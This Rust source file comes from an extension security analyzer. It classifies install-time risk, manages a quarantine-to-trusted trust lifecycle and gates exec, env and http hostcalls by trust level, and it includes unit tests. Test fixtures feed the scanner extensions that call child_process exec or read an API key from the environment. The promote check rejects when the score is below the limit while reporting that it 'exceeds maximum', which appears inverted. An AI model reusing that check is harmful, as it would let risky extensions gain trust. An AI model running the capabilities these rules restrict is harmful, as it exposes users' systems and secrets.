2436 parts.push(format!("{} critical", security.critical));
2437 }
2438 if security.high > 0 {
2439 parts.push(format!("{} high", security.high));
2440 }
2441 if security.medium > 0 {
2442 parts.push(format!("{} medium", security.medium));
2443 }
2444 if security.low > 0 {
2445 parts.push(format!("{} low", security.low));
2446 }
2447 parts.join(", ")
2448 };
2449
2450 let compat_part = match preflight.verdict {
2451 PreflightVerdict::Pass => "compatible".to_string(),
2452 PreflightVerdict::Warn => format!("{} compat warning(s)", preflight.warnings),
2453 PreflightVerdict::Fail => format!("{} compat error(s)", preflight.errors),
2454 };
2455
2456 format!("{recommendation}: score {score}/100 — {sec_part}; {compat_part}")
2457 }
2458
2459 pub fn to_json(&self) -> Result<String, serde_json::Error> {
2465 serde_json::to_string_pretty(self)
2466 }
2467
2468 #[must_use]
2470 pub const fn should_block(&self) -> bool {
2471 matches!(self.recommendation, InstallRecommendation::Block)
2472 }
2473
2474 #[must_use]
2476 pub const fn needs_review(&self) -> bool {
2477 matches!(
2478 self.recommendation,
2479 InstallRecommendation::Block | InstallRecommendation::Review
2480 )
2481 }
2482}
2483
2484#[must_use]
2489pub fn classify_extension_source(
2490 extension_id: &str,
2491 source: &str,
2492 policy: &ExtensionPolicy,
2493) -> InstallTimeRiskReport {
2494 let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2495 let preflight = analyzer.analyze_source(extension_id, source);
2496 let security = SecurityScanner::scan_source(extension_id, source);
2497 InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2498}
2499
2500pub fn classify_extension_path(
2503 extension_id: &str,
2504 path: &Path,
2505 policy: &ExtensionPolicy,
2506) -> InstallTimeRiskReport {
2507 let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2508 let preflight = analyzer.analyze(path);
2509 let security = SecurityScanner::scan_path(extension_id, path, path);
2510 InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2511}
2512
2513pub const TRUST_LIFECYCLE_SCHEMA: &str = "pi.ext.trust_lifecycle.v1";
2519
2520#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
2530#[serde(rename_all = "snake_case")]
2531pub enum ExtensionTrustState {
2532 Quarantined,
2536 Restricted,
2540 Trusted,
2543}
2544
2545impl fmt::Display for ExtensionTrustState {
2546 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2547 match self {
2548 Self::Quarantined => f.write_str("quarantined"),
2549 Self::Restricted => f.write_str("restricted"),
2550 Self::Trusted => f.write_str("trusted"),
2551 }
2552 }
2553}
2554
2555impl ExtensionTrustState {
2556 #[must_use]
2559 pub const fn allows_dangerous_hostcalls(self) -> bool {
2560 matches!(self, Self::Trusted)
2561 }
2562
2563 #[must_use]
2566 pub const fn allows_read_hostcalls(self) -> bool {
2567 matches!(self, Self::Restricted | Self::Trusted)
2568 }
2569
2570 #[must_use]
2573 pub const fn is_quarantined(self) -> bool {
2574 matches!(self, Self::Quarantined)
2575 }
2576}
2577
2578#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
2580#[serde(rename_all = "snake_case")]
2581pub enum TrustTransitionKind {
2582 Promote,
2584 Demote,
2586}
2587
2588impl fmt::Display for TrustTransitionKind {
2589 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2590 match self {
2591 Self::Promote => f.write_str("promote"),
2592 Self::Demote => f.write_str("demote"),
2593 }
2594 }
2595}
2596
2597#[derive(Debug, Clone, Serialize, Deserialize)]
2599pub struct TrustTransitionEvent {
2600 pub schema: String,
2602 pub extension_id: String,
2604 pub from_state: ExtensionTrustState,
2606 pub to_state: ExtensionTrustState,
2608 pub kind: TrustTransitionKind,
2610 pub reason: String,
2612 pub operator_acknowledged: bool,
2614 pub risk_score: Option<u8>,
2616 pub recommendation: Option<InstallRecommendation>,
2618 pub timestamp: String,
2620}
2621
2622impl TrustTransitionEvent {
2623 pub fn to_json(&self) -> Result<String, serde_json::Error> {
2629 serde_json::to_string(self)
2630 }
2631}
2632
2633#[derive(Debug, Clone, PartialEq, Eq)]
2635pub enum TrustTransitionError {
2636 OperatorAckRequired {
2638 from: ExtensionTrustState,
2639 to: ExtensionTrustState,
2640 },
2641 InvalidTransition {
2644 from: ExtensionTrustState,
2645 to: ExtensionTrustState,
2646 },
2647 RiskTooHigh {
2649 target: ExtensionTrustState,
2650 risk_score: u8,
2651 max_allowed: u8,
2652 },
2653}
2654
2655impl fmt::Display for TrustTransitionError {
2656 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2657 match self {
2658 Self::OperatorAckRequired { from, to } => {
2659 write!(
2660 f,
2661 "operator acknowledgment required to promote {from} → {to}"
2662 )
2663 }
2664 Self::InvalidTransition { from, to } => {
2665 write!(f, "invalid trust transition: {from} → {to}")
2666 }
2667 Self::RiskTooHigh {
2668 target,
2669 risk_score,
2670 max_allowed,
2671 } => {
2672 write!(
2673 f,
2674 "risk score {risk_score} exceeds maximum {max_allowed} for {target} state"
2675 )
2676 }
2677 }
2678 }
2679}
2680
2681#[derive(Debug, Clone)]
2686pub struct ExtensionTrustTracker {
2687 extension_id: String,
2688 state: ExtensionTrustState,
2689 history: Vec<TrustTransitionEvent>,
2690}
2691
2692impl ExtensionTrustTracker {
2693 #[must_use]
2695 pub fn new(extension_id: &str, initial_state: ExtensionTrustState) -> Self {
2696 Self {
2697 extension_id: extension_id.to_string(),
2698 state: initial_state,
2699 history: Vec::new(),
2700 }
2701 }
2702
2703 #[must_use]
2706 pub fn from_risk_report(report: &InstallTimeRiskReport) -> Self {
2707 let state = match report.recommendation {
2708 InstallRecommendation::Block | InstallRecommendation::Review => {
2709 ExtensionTrustState::Quarantined
2710 }
2711 InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2712 };
2713 Self::new(&report.extension_id, state)
2714 }
2715
2716 #[must_use]
2718 pub const fn state(&self) -> ExtensionTrustState {
2719 self.state
2720 }
2721
2722 #[must_use]
2724 pub fn extension_id(&self) -> &str {
2725 &self.extension_id
2726 }
2727
2728 #[must_use]
2730 pub fn history(&self) -> &[TrustTransitionEvent] {
2731 &self.history
2732 }
2733
2734 pub fn promote(
2748 &mut self,
2749 reason: &str,
2750 operator_ack: bool,
2751 risk_score: Option<u8>,
2752 recommendation: Option<InstallRecommendation>,
2753 ) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2754 let target = match self.state {
2755 ExtensionTrustState::Quarantined => ExtensionTrustState::Restricted,
2756 ExtensionTrustState::Restricted => ExtensionTrustState::Trusted,
2757 ExtensionTrustState::Trusted => {
2758 return Err(TrustTransitionError::InvalidTransition {
2759 from: self.state,
2760 to: ExtensionTrustState::Trusted,
2761 });
2762 }
2763 };
2764
2765 if !operator_ack {
2766 return Err(TrustTransitionError::OperatorAckRequired {
2767 from: self.state,
2768 to: target,
2769 });
2770 }
2771
2772 if let Some(score) = risk_score {
2775 let max = match target {
2776 ExtensionTrustState::Restricted => 30,
2777 ExtensionTrustState::Trusted => 50,
2778 ExtensionTrustState::Quarantined => 0,
2779 };
2780 if score < max {
2781 return Err(TrustTransitionError::RiskTooHigh {
2782 target,
2783 risk_score: score,
2784 max_allowed: max,
2785 });
2786 }
2787 }
2788
2789 let event = TrustTransitionEvent {
2790 schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2791 extension_id: self.extension_id.clone(),
2792 from_state: self.state,
2793 to_state: target,
2794 kind: TrustTransitionKind::Promote,
2795 reason: reason.to_string(),
2796 operator_acknowledged: true,
2797 risk_score,
2798 recommendation,
2799 timestamp: now_rfc3339(),
2800 };
2801
2802 self.state = target;
2803 self.history.push(event);
2804 Ok(self.history.last().unwrap())
2805 }
2806
2807 pub fn demote(&mut self, reason: &str) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2817 if self.state == ExtensionTrustState::Quarantined {
2818 return Err(TrustTransitionError::InvalidTransition {
2819 from: self.state,
2820 to: ExtensionTrustState::Quarantined,
2821 });
2822 }
2823
2824 let event = TrustTransitionEvent {
2825 schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2826 extension_id: self.extension_id.clone(),
2827 from_state: self.state,
2828 to_state: ExtensionTrustState::Quarantined,
2829 kind: TrustTransitionKind::Demote,
2830 reason: reason.to_string(),
2831 operator_acknowledged: false,
2832 risk_score: None,
2833 recommendation: None,
2834 timestamp: now_rfc3339(),
2835 };
2836
2837 self.state = ExtensionTrustState::Quarantined;
2838 self.history.push(event);
2839 Ok(self.history.last().unwrap())
2840 }
2841
2842 pub fn history_jsonl(&self) -> Result<String, serde_json::Error> {
2848 let mut out = String::new();
2849 for (i, event) in self.history.iter().enumerate() {
2850 if i > 0 {
2851 out.push('\n');
2852 }
2853 out.push_str(&serde_json::to_string(event)?);
2854 }
2855 Ok(out)
2856 }
2857}
2858
2859#[must_use]
2862pub const fn initial_trust_state(report: &InstallTimeRiskReport) -> ExtensionTrustState {
2863 match report.recommendation {
2864 InstallRecommendation::Block | InstallRecommendation::Review => {
2865 ExtensionTrustState::Quarantined
2866 }
2867 InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2868 }
2869}
2870
2871#[must_use]
2878#[allow(clippy::match_same_arms)] pub fn is_hostcall_allowed_for_trust(
2880 trust_state: ExtensionTrustState,
2881 hostcall_category: &str,
2882) -> bool {
2883 match hostcall_category {
2884 "register" | "tool" | "slash_command" | "shortcut" | "flag" | "event_hook" | "log" => true,
2886 "read" | "list" | "stat" | "session_read" | "ui" => trust_state.allows_read_hostcalls(),
2888 "write" | "exec" | "env" | "http" | "session_write" | "fs_write" | "fs_delete"
2890 | "fs_mkdir" => trust_state.allows_dangerous_hostcalls(),
2891 _ => trust_state.allows_dangerous_hostcalls(),
2893 }
2894}
2895
2896fn now_rfc3339() -> String {
2897 chrono::Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, true)
2898}
2899
2900#[cfg(test)]
2905mod tests {
2906 use super::*;
2907 use crate::extensions::ExtensionPolicy;
2908
2909 #[test]
2912 fn module_support_severity_mapping() {
2913 assert_eq!(ModuleSupport::Real.severity(), FindingSeverity::Info);
2914 assert_eq!(ModuleSupport::Partial.severity(), FindingSeverity::Warning);
2915 assert_eq!(ModuleSupport::Stub.severity(), FindingSeverity::Warning);
2916 assert_eq!(ModuleSupport::ErrorThrow.severity(), FindingSeverity::Error);
2917 assert_eq!(ModuleSupport::Missing.severity(), FindingSeverity::Error);
2918 }
2919
2920 #[test]
2921 fn module_support_display() {
2922 assert_eq!(format!("{}", ModuleSupport::Real), "fully supported");
2923 assert_eq!(format!("{}", ModuleSupport::Missing), "not available");
2924 }
2925
2926 #[test]
2927 fn module_support_serde_roundtrip() {
2928 for variant in [
2929 ModuleSupport::Real,
2930 ModuleSupport::Partial,
2931 ModuleSupport::Stub,
2932 ModuleSupport::ErrorThrow,
2933 ModuleSupport::Missing,
2934 ] {
2935 let json = serde_json::to_string(&variant).unwrap();
2936 let back: ModuleSupport = serde_json::from_str(&json).unwrap();
2937 assert_eq!(variant, back);
2938 }
2939 }
2940
2941 #[test]
2944 fn severity_ordering() {
2945 assert!(FindingSeverity::Info < FindingSeverity::Warning);
2946 assert!(FindingSeverity::Warning < FindingSeverity::Error);
2947 }
2948
2949 #[test]
2952 fn known_modules_p0_are_real() {
2953 assert_eq!(known_module_support("path"), Some(ModuleSupport::Real));
2954 assert_eq!(known_module_support("node:path"), Some(ModuleSupport::Real));
2955 assert_eq!(known_module_support("os"), Some(ModuleSupport::Real));
2956 assert_eq!(known_module_support("node:os"), Some(ModuleSupport::Real));
2957 assert_eq!(known_module_support("fs"), Some(ModuleSupport::Real));
2958 assert_eq!(known_module_support("node:fs"), Some(ModuleSupport::Real));
2959 assert_eq!(
2960 known_module_support("child_process"),
2961 Some(ModuleSupport::Real)
2962 );
2963 }
2964
2965 #[test]
2966 fn known_modules_fs_promises_partial() {
2967 assert_eq!(
2968 known_module_support("node:fs/promises"),
2969 Some(ModuleSupport::Partial)
2970 );
2971 assert_eq!(
2972 known_module_support("fs/promises"),
2973 Some(ModuleSupport::Partial)
2974 );
2975 }
2976
2977 #[test]
2978 fn known_modules_readline_partial() {
2979 assert_eq!(
2980 known_module_support("node:readline"),
2981 Some(ModuleSupport::Partial)
2982 );
2983 assert_eq!(
2984 known_module_support("readline/promises"),
2985 Some(ModuleSupport::Partial)
2986 );
2987 }
2988
2989 #[test]
2990 fn known_modules_test_partial() {
2991 assert_eq!(
2992 known_module_support("node:test"),
2993 Some(ModuleSupport::Partial)
2994 );
2995 assert_eq!(known_module_support("test"), Some(ModuleSupport::Partial));
2996 }
2997
2998 #[test]
2999 fn known_modules_glob_partial() {
3000 assert_eq!(known_module_support("glob"), Some(ModuleSupport::Partial));
3001 }
3002
3003 #[test]
3004 fn known_modules_error_throw() {
3005 assert_eq!(
3006 known_module_support("node:tls"),
3007 Some(ModuleSupport::ErrorThrow)
3008 );
3009 assert_eq!(known_module_support("dns"), Some(ModuleSupport::ErrorThrow));
3010 }
3011
3012 #[test]
3013 fn known_modules_net_stub() {
3014 assert_eq!(known_module_support("node:net"), Some(ModuleSupport::Stub));
3015 }
3016
3017 #[test]
3018 fn known_modules_stubs() {
3019 assert_eq!(known_module_support("zlib"), Some(ModuleSupport::Stub));
3020 assert_eq!(known_module_support("node:vm"), Some(ModuleSupport::Stub));
3021 assert_eq!(
3022 known_module_support("node:http2"),
3023 Some(ModuleSupport::Stub)
3024 );
3025 assert_eq!(known_module_support("chokidar"), Some(ModuleSupport::Stub));
3026 }
3027
3028 #[test]
3029 fn unknown_module_returns_none() {
3030 assert_eq!(known_module_support("my-custom-lib"), None);
3031 assert_eq!(known_module_support("./relative"), None);
3032 }
3033
3034 #[test]
3037 fn remediation_for_real_is_none() {
3038 assert!(module_remediation("path", ModuleSupport::Real).is_none());
3039 }
3040
3041 #[test]
3042 fn remediation_for_net_stub() {
3043 let r = module_remediation("node:net", ModuleSupport::Stub);
3044 assert!(r.is_some());
3045 let msg = r.unwrap();
3046 assert!(msg.contains("stubbed"));
3047 assert!(msg.contains("pi.http") || msg.contains("fetch()"));
3048 }
3049
3050 #[test]
3051 fn remediation_for_fs_promises_partial() {
3052 let r = module_remediation("fs/promises", ModuleSupport::Partial);
3053 assert!(r.is_some());
3054 assert!(r.unwrap().contains("synchronous"));
3055 }
3056
3057 #[test]
3058 fn remediation_for_readline_partial_mentions_ui() {
3059 let r = module_remediation("node:readline", ModuleSupport::Partial);
3060 assert!(r.is_some());
3061 assert!(r.unwrap().contains("pi.ui"));
3062 }
3063
3064 #[test]
3065 fn remediation_for_node_test_partial() {
3066 let r = module_remediation("node:test", ModuleSupport::Partial);
3067 assert!(r.is_some());
3068 assert!(r.unwrap().contains("node:test"));
3069 }
3070
3071 #[test]
3072 fn remediation_for_http2_stub() {
3073 let r = module_remediation("node:http2", ModuleSupport::Stub);
3074 assert!(r.is_some());
3075 assert!(r.unwrap().contains("http2"));
3076 }
3077
3078 #[test]
3081 fn extract_specifier_from_message_works() {
3082 let msg = "import of unsupported builtin `node:vm`";
3083 assert_eq!(
3084 extract_specifier_from_message(msg),
3085 Some("node:vm".to_string())
3086 );
3087 }
3088
3089 #[test]
3090 fn extract_specifier_from_message_none() {
3091 assert_eq!(extract_specifier_from_message("no backticks"), None);
3092 }
3093
3094 #[test]
3095 fn extract_import_specifiers_simple_import() {
3096 let specs = extract_import_specifiers_simple("import fs from 'node:fs';");
3097 assert_eq!(specs, vec!["node:fs"]);
3098 }
3099
3100 #[test]
3101 fn extract_import_specifiers_simple_require() {
3102 let specs = extract_import_specifiers_simple("const fs = require('fs');");
3103 assert_eq!(specs, vec!["fs"]);
3104 }
3105
3106 #[test]
3107 fn extract_import_specifiers_skips_relative() {
3108 let specs = extract_import_specifiers_simple("import foo from './foo';");
3109 assert!(specs.is_empty());
3110 }
3111
3112 #[test]
3113 fn extract_quoted_string_double() {
3114 assert_eq!(
3115 extract_quoted_string("\"hello\" rest"),
3116 Some("hello".to_string())
3117 );
3118 }
3119
3120 #[test]
3121 fn extract_quoted_string_single() {
3122 assert_eq!(
3123 extract_quoted_string("'hello' rest"),
3124 Some("hello".to_string())
3125 );
3126 }
3127
3128 #[test]
3129 fn extract_quoted_string_no_quote() {
3130 assert_eq!(extract_quoted_string("no quotes"), None);
3131 }
3132
3133 #[test]
3136 fn empty_findings_gives_pass() {
3137 let report = PreflightReport::from_findings("test-ext".into(), vec![]);
3138 assert_eq!(report.verdict, PreflightVerdict::Pass);
3139 assert_eq!(report.summary.errors, 0);
3140 assert_eq!(report.summary.warnings, 0);
3141 }
3142
3143 #[test]
3144 fn warning_findings_gives_warn() {
3145 let findings = vec![PreflightFinding {
3146 severity: FindingSeverity::Warning,
3147 category: FindingCategory::ModuleCompat,
3148 message: "stub".into(),
3149 remediation: None,
3150 file: None,
3151 line: None,
3152 }];
3153 let report = PreflightReport::from_findings("test-ext".into(), findings);
3154 assert_eq!(report.verdict, PreflightVerdict::Warn);
3155 assert_eq!(report.summary.warnings, 1);
3156 }
3157
3158 #[test]
3159 fn error_findings_gives_fail() {
3160 let findings = vec![
3161 PreflightFinding {
3162 severity: FindingSeverity::Error,
3163 category: FindingCategory::CapabilityPolicy,
3164 message: "denied".into(),
3165 remediation: None,
3166 file: None,
3167 line: None,
3168 },
3169 PreflightFinding {
3170 severity: FindingSeverity::Warning,
3171 category: FindingCategory::ModuleCompat,
3172 message: "stub".into(),
3173 remediation: None,
3174 file: None,
3175 line: None,
3176 },
3177 ];
3178 let report = PreflightReport::from_findings("test-ext".into(), findings);
3179 assert_eq!(report.verdict, PreflightVerdict::Fail);
3180 assert_eq!(report.summary.errors, 1);
3181 assert_eq!(report.summary.warnings, 1);
3182 }
3183
3184 #[test]
3185 fn report_schema_version() {
3186 let report = PreflightReport::from_findings("x".into(), vec![]);
3187 assert_eq!(report.schema, PREFLIGHT_SCHEMA);
3188 }
3189
3190 #[test]
3191 fn security_scan_report_json_roundtrip() {
3192 let findings = vec![PreflightFinding {
3193 severity: FindingSeverity::Warning,
3194 category: FindingCategory::ModuleCompat,
3195 message: "test".into(),
3196 remediation: Some("fix it".into()),
3197 file: Some("index.ts".into()),
3198 line: Some(42),
3199 }];
3200 let report = PreflightReport::from_findings("ext-1".into(), findings);
3201 let json = report.to_json().unwrap();
3202 let back: PreflightReport = serde_json::from_str(&json).unwrap();
3203 assert_eq!(back.verdict, PreflightVerdict::Warn);
3204 assert_eq!(back.findings.len(), 1);
3205 assert_eq!(back.findings[0].line, Some(42));
3206 }
3207
3208 #[test]
3209 fn report_markdown_contains_verdict() {
3210 let report = PreflightReport::from_findings("my-ext".into(), vec![]);
3211 let md = report.render_markdown();
3212 assert!(md.contains("PASS"));
3213 assert!(md.contains("my-ext"));
3214 }
3215
3216 #[test]
3217 fn report_markdown_lists_findings() {
3218 let findings = vec![PreflightFinding {
3219 severity: FindingSeverity::Error,
3220 category: FindingCategory::ForbiddenPattern,
3221 message: "process.binding".into(),
3222 remediation: Some("remove it".into()),
3223 file: Some("main.ts".into()),
3224 line: Some(10),
3225 }];
3226 let report = PreflightReport::from_findings("ext".into(), findings);
3227 let md = report.render_markdown();
3228 assert!(md.contains("process.binding"));
3229 assert!(md.contains("main.ts:10"));
3230 assert!(md.contains("remove it"));
3231 }
3232
3233 #[test]
3236 fn analyze_source_clean_extension() {
3237 let policy = ExtensionPolicy::default();
3238 let analyzer = PreflightAnalyzer::new(&policy, None);
3239 let source = r#"
3240import { Type } from "@sinclair/typebox";
3241import path from "node:path";
3242
3243export default function(pi) {
3244 pi.tool({ name: "hello", schema: Type.Object({}) });
3245}
3246"#;
3247 let report = analyzer.analyze_source("clean-ext", source);
3248 assert_eq!(report.verdict, PreflightVerdict::Pass);
3249 }
3250
3251 #[test]
3252 fn analyze_source_stubbed_net_warns() {
3253 let policy = ExtensionPolicy::default();
3254 let analyzer = PreflightAnalyzer::new(&policy, None);
3255 let source = r#"
3256import net from "node:net";
3257"#;
3258 let report = analyzer.analyze_source("net-ext", source);
3259 assert_eq!(report.verdict, PreflightVerdict::Warn);
3260 assert!(
3261 report
3262 .findings
3263 .iter()
3264 .any(|f| f.message.contains("node:net"))
3265 );
3266 }
3267
3268 #[test]
3269 fn analyze_source_denied_capability() {
3270 let policy = crate::extensions::PolicyProfile::Safe.to_policy();
3272 let analyzer = PreflightAnalyzer::new(&policy, None);
3273 let source = r#"
3274const { exec } = require("child_process");
3275export default function(pi) {
3276 pi.exec("ls");
3277}
3278"#;
3279 let report = analyzer.analyze_source("exec-ext", source);
3280 assert_eq!(report.verdict, PreflightVerdict::Fail);
3281 assert!(
3282 report
3283 .findings
3284 .iter()
3285 .any(|f| f.category == FindingCategory::CapabilityPolicy
3286 && f.message.contains("exec"))
3287 );
3288 }
3289
3290 #[test]
3291 fn analyze_source_env_prompts_on_default_policy() {
3292 let policy = ExtensionPolicy::default();
3293 let analyzer = PreflightAnalyzer::new(&policy, None);
3294 let source = r"
3295const key = process.env.API_KEY;
3296";
3297 let report = analyzer.analyze_source("env-ext", source);
3298 assert!(report.findings.iter().any(|f| f.message.contains("env")));
3300 }
3301
3302 #[test]
3303 fn analyze_source_stub_module_warns() {
3304 let policy = ExtensionPolicy::default();
3305 let analyzer = PreflightAnalyzer::new(&policy, None);
3306 let source = r#"
3307import chokidar from "chokidar";
3308"#;
3309 let report = analyzer.analyze_source("watch-ext", source);
3310 assert_eq!(report.verdict, PreflightVerdict::Warn);
3311 assert!(
3312 report
3313 .findings
3314 .iter()
3315 .any(|f| f.message.contains("chokidar"))
3316 );
3317 }
3318
3319 #[test]
3320 fn analyze_source_per_extension_override_allows() {
3321 use crate::extensions::ExtensionOverride;
3322 use std::collections::HashMap;
3323
3324 let mut per_ext = HashMap::new();
3329 per_ext.insert(
3330 "my-ext".to_string(),
3331 ExtensionOverride {
3332 mode: None,
3333 allow: vec!["exec".to_string()],
3334 deny: vec![],
3335 quota: None,
3336 },
3337 );
3338
3339 let policy = ExtensionPolicy {
3340 mode: crate::extensions::ExtensionPolicyMode::Strict,
3341 max_memory_mb: 256,
3342 default_caps: vec!["read".to_string(), "write".to_string()],
3343 deny_caps: vec![], per_extension: per_ext,
3345 ..Default::default()
3346 };
3347 let analyzer = PreflightAnalyzer::new(&policy, Some("my-ext"));
3348 let source = r#"
3349const { exec } = require("child_process");
3350pi.exec("ls");
3351"#;
3352 let report = analyzer.analyze_source("my-ext", source);
3353 let exec_denied = report.findings.iter().any(|f| {
3355 f.category == FindingCategory::CapabilityPolicy
3356 && f.message.contains("exec")
3357 && f.severity == FindingSeverity::Error
3358 });
3359 assert!(
3360 !exec_denied,
3361 "exec should be allowed via per-extension override"
3362 );
3363 }
3364
3365 #[test]
3366 fn analyze_missing_path_fails_closed() {
3367 let policy = ExtensionPolicy::default();
3368 let analyzer = PreflightAnalyzer::new(&policy, None);
3369 let temp_dir = tempfile::tempdir().expect("tempdir");
3370 let missing = temp_dir.path().join("missing-extension.js");
3371
3372 let report = analyzer.analyze(&missing);
3373
3374 assert_eq!(report.extension_id, "missing-extension.js");
3375 assert_eq!(report.verdict, PreflightVerdict::Fail);
3376 assert!(report.findings.iter().any(|finding| {
3377 finding.category == FindingCategory::AnalysisInput
3378 && finding.message.contains("does not exist")
3379 }));
3380 }
3381
3382 #[cfg(unix)]
3383 #[test]
3384 fn analyze_unreadable_nested_directory_fails_closed() {
3385 use std::os::unix::fs::PermissionsExt;
3386
3387 let policy = ExtensionPolicy::default();
3388 let analyzer = PreflightAnalyzer::new(&policy, None);
3389 let temp_dir = tempfile::tempdir().expect("tempdir");
3390 let entry = temp_dir.path().join("clean.js");
3391 std::fs::write(&entry, "export default function () {};\n").expect("write clean entry");
3392
3393 let blocked_dir = temp_dir.path().join("blocked");
3394 std::fs::create_dir_all(&blocked_dir).expect("mkdir blocked dir");
3395 std::fs::write(blocked_dir.join("hidden.js"), "import fs from 'fs';\n")
3396 .expect("write blocked entry");
3397 std::fs::set_permissions(&blocked_dir, PermissionsExt::from_mode(0o000))
3398 .expect("chmod blocked dir");
3399
3400 let report = analyzer.analyze(temp_dir.path());
3401
3402 std::fs::set_permissions(&blocked_dir, PermissionsExt::from_mode(0o755))
3403 .expect("restore blocked dir perms");
3404
3405 assert_eq!(
3406 report.extension_id,
3407 temp_dir
3408 .path()
3409 .file_name()
3410 .and_then(|name| name.to_str())
3411 .expect("temp dir file name")
3412 );
3413 assert_eq!(report.verdict, PreflightVerdict::Fail);
3414 assert!(report.findings.iter().any(|finding| {
3415 finding.category == FindingCategory::AnalysisInput
3416 && finding.message.contains("Failed to scan extension source")
3417 && finding.message.contains(&blocked_dir.display().to_string())
3418 }));
3419 }
3420
3421 #[test]
3422 fn analyze_uses_path_filename_when_extension_id_is_not_supplied() {
3423 let policy = ExtensionPolicy::default();
3424 let analyzer = PreflightAnalyzer::new(&policy, None);
3425 let temp_dir = tempfile::tempdir().expect("tempdir");
3426 let entry = temp_dir.path().join("sample-ext.js");
3427 std::fs::write(&entry, "export default function () {};\n").expect("write entry");
3428
3429 let report = analyzer.analyze(&entry);
3430
3431 assert_eq!(report.extension_id, "sample-ext.js");
3432 }
3433
3434 #[test]
3435 fn capability_findings_without_evidence_omit_bogus_location_fields() {
3436 let policy = crate::extensions::PolicyProfile::Safe.to_policy();
3437 let analyzer = PreflightAnalyzer::new(&policy, None);
3438 let ledger = crate::extensions::CompatLedger {
3439 schema: crate::extensions::COMPAT_LEDGER_SCHEMA_VERSION.to_string(),
3440 capabilities: vec![crate::extensions::CompatCapabilityEvidence {
3441 capability: "exec".to_string(),
3442 reason: "test".to_string(),
3443 evidence: Vec::new(),
3444 remediation: None,
3445 }],
3446 rewrites: Vec::new(),
3447 forbidden: Vec::new(),
3448 flagged: Vec::new(),
3449 };
3450 let mut findings = Vec::new();
3451
3452 analyzer.check_capability_findings(&ledger, &mut findings);
3453
3454 let exec_finding = findings
3455 .into_iter()
3456 .find(|finding| finding.message.contains("exec"))
3457 .expect("exec finding");
3458 assert_eq!(exec_finding.file, None);
3459 assert_eq!(exec_finding.line, None);
3460 }
3461
3462 #[test]
3465 fn verdict_display() {
3466 assert_eq!(format!("{}", PreflightVerdict::Pass), "PASS");
3467 assert_eq!(format!("{}", PreflightVerdict::Warn), "WARN");
3468 assert_eq!(format!("{}", PreflightVerdict::Fail), "FAIL");
3469 }
3470
3471 #[test]
3472 fn verdict_serde_roundtrip() {
3473 for v in [
3474 PreflightVerdict::Pass,
3475 PreflightVerdict::Warn,
3476 PreflightVerdict::Fail,
3477 ] {
3478 let json = serde_json::to_string(&v).unwrap();
3479 let back: PreflightVerdict = serde_json::from_str(&json).unwrap();
3480 assert_eq!(v, back);
3481 }
3482 }
3483
3484 #[test]
3487 fn finding_category_display() {
3488 assert_eq!(
3489 format!("{}", FindingCategory::AnalysisInput),
3490 "analysis_input"
3491 );
3492 assert_eq!(
3493 format!("{}", FindingCategory::ModuleCompat),
3494 "module_compat"
3495 );
3496 assert_eq!(
3497 format!("{}", FindingCategory::CapabilityPolicy),
3498 "capability_policy"
3499 );
3500 assert_eq!(
3501 format!("{}", FindingCategory::ForbiddenPattern),
3502 "forbidden_pattern"
3503 );
3504 assert_eq!(
3505 format!("{}", FindingCategory::FlaggedPattern),
3506 "flagged_pattern"
3507 );
3508 }
3509
3510 #[test]
3513 fn confidence_score_no_issues() {
3514 let score = ConfidenceScore::from_counts(0, 0);
3515 assert_eq!(score.value(), 100);
3516 assert_eq!(score.label(), "High");
3517 }
3518
3519 #[test]
3520 fn confidence_score_one_warning() {
3521 let score = ConfidenceScore::from_counts(0, 1);
3522 assert_eq!(score.value(), 90);
3523 assert_eq!(score.label(), "High");
3524 }
3525
3526 #[test]
3527 fn confidence_score_two_warnings() {
3528 let score = ConfidenceScore::from_counts(0, 2);
3529 assert_eq!(score.value(), 80);
3530 assert_eq!(score.label(), "Medium");
3531 }
3532
3533 #[test]
3534 fn confidence_score_one_error() {
3535 let score = ConfidenceScore::from_counts(1, 0);
3536 assert_eq!(score.value(), 75);
3537 assert_eq!(score.label(), "Medium");
3538 }
3539
3540 #[test]
3541 fn confidence_score_many_errors_floors_at_zero() {
3542 let score = ConfidenceScore::from_counts(5, 5);
3543 assert_eq!(score.value(), 0);
3544 assert_eq!(score.label(), "Very Low");
3545 }
3546
3547 #[test]
3548 fn confidence_score_display() {
3549 let score = ConfidenceScore::from_counts(0, 0);
3550 assert_eq!(format!("{score}"), "100% (High)");
3551 let score = ConfidenceScore::from_counts(1, 2);
3552 assert_eq!(format!("{score}"), "55% (Low)");
3553 }
3554
3555 #[test]
3556 fn confidence_score_serde_roundtrip() {
3557 let score = ConfidenceScore::from_counts(1, 1);
3558 let json = serde_json::to_string(&score).unwrap();
3559 let back: ConfidenceScore = serde_json::from_str(&json).unwrap();
3560 assert_eq!(score, back);
3561 }
3562
3563 #[test]
3566 fn risk_banner_pass() {
3567 let report = PreflightReport::from_findings("ext".into(), vec![]);
3568 assert!(report.risk_banner.contains("compatible"));
3569 assert!(report.risk_banner.contains("100%"));
3570 }
3571
3572 #[test]
3573 fn risk_banner_warn() {
3574 let findings = vec![PreflightFinding {
3575 severity: FindingSeverity::Warning,
3576 category: FindingCategory::ModuleCompat,
3577 message: "stub".into(),
3578 remediation: None,
3579 file: None,
3580 line: None,
3581 }];
3582 let report = PreflightReport::from_findings("ext".into(), findings);
3583 assert!(report.risk_banner.contains("may have issues"));
3584 assert!(report.risk_banner.contains("1 warning"));
3585 }
3586
3587 #[test]
3588 fn risk_banner_fail() {
3589 let findings = vec![PreflightFinding {
3590 severity: FindingSeverity::Error,
3591 category: FindingCategory::ForbiddenPattern,
3592 message: "bad".into(),
3593 remediation: None,
3594 file: None,
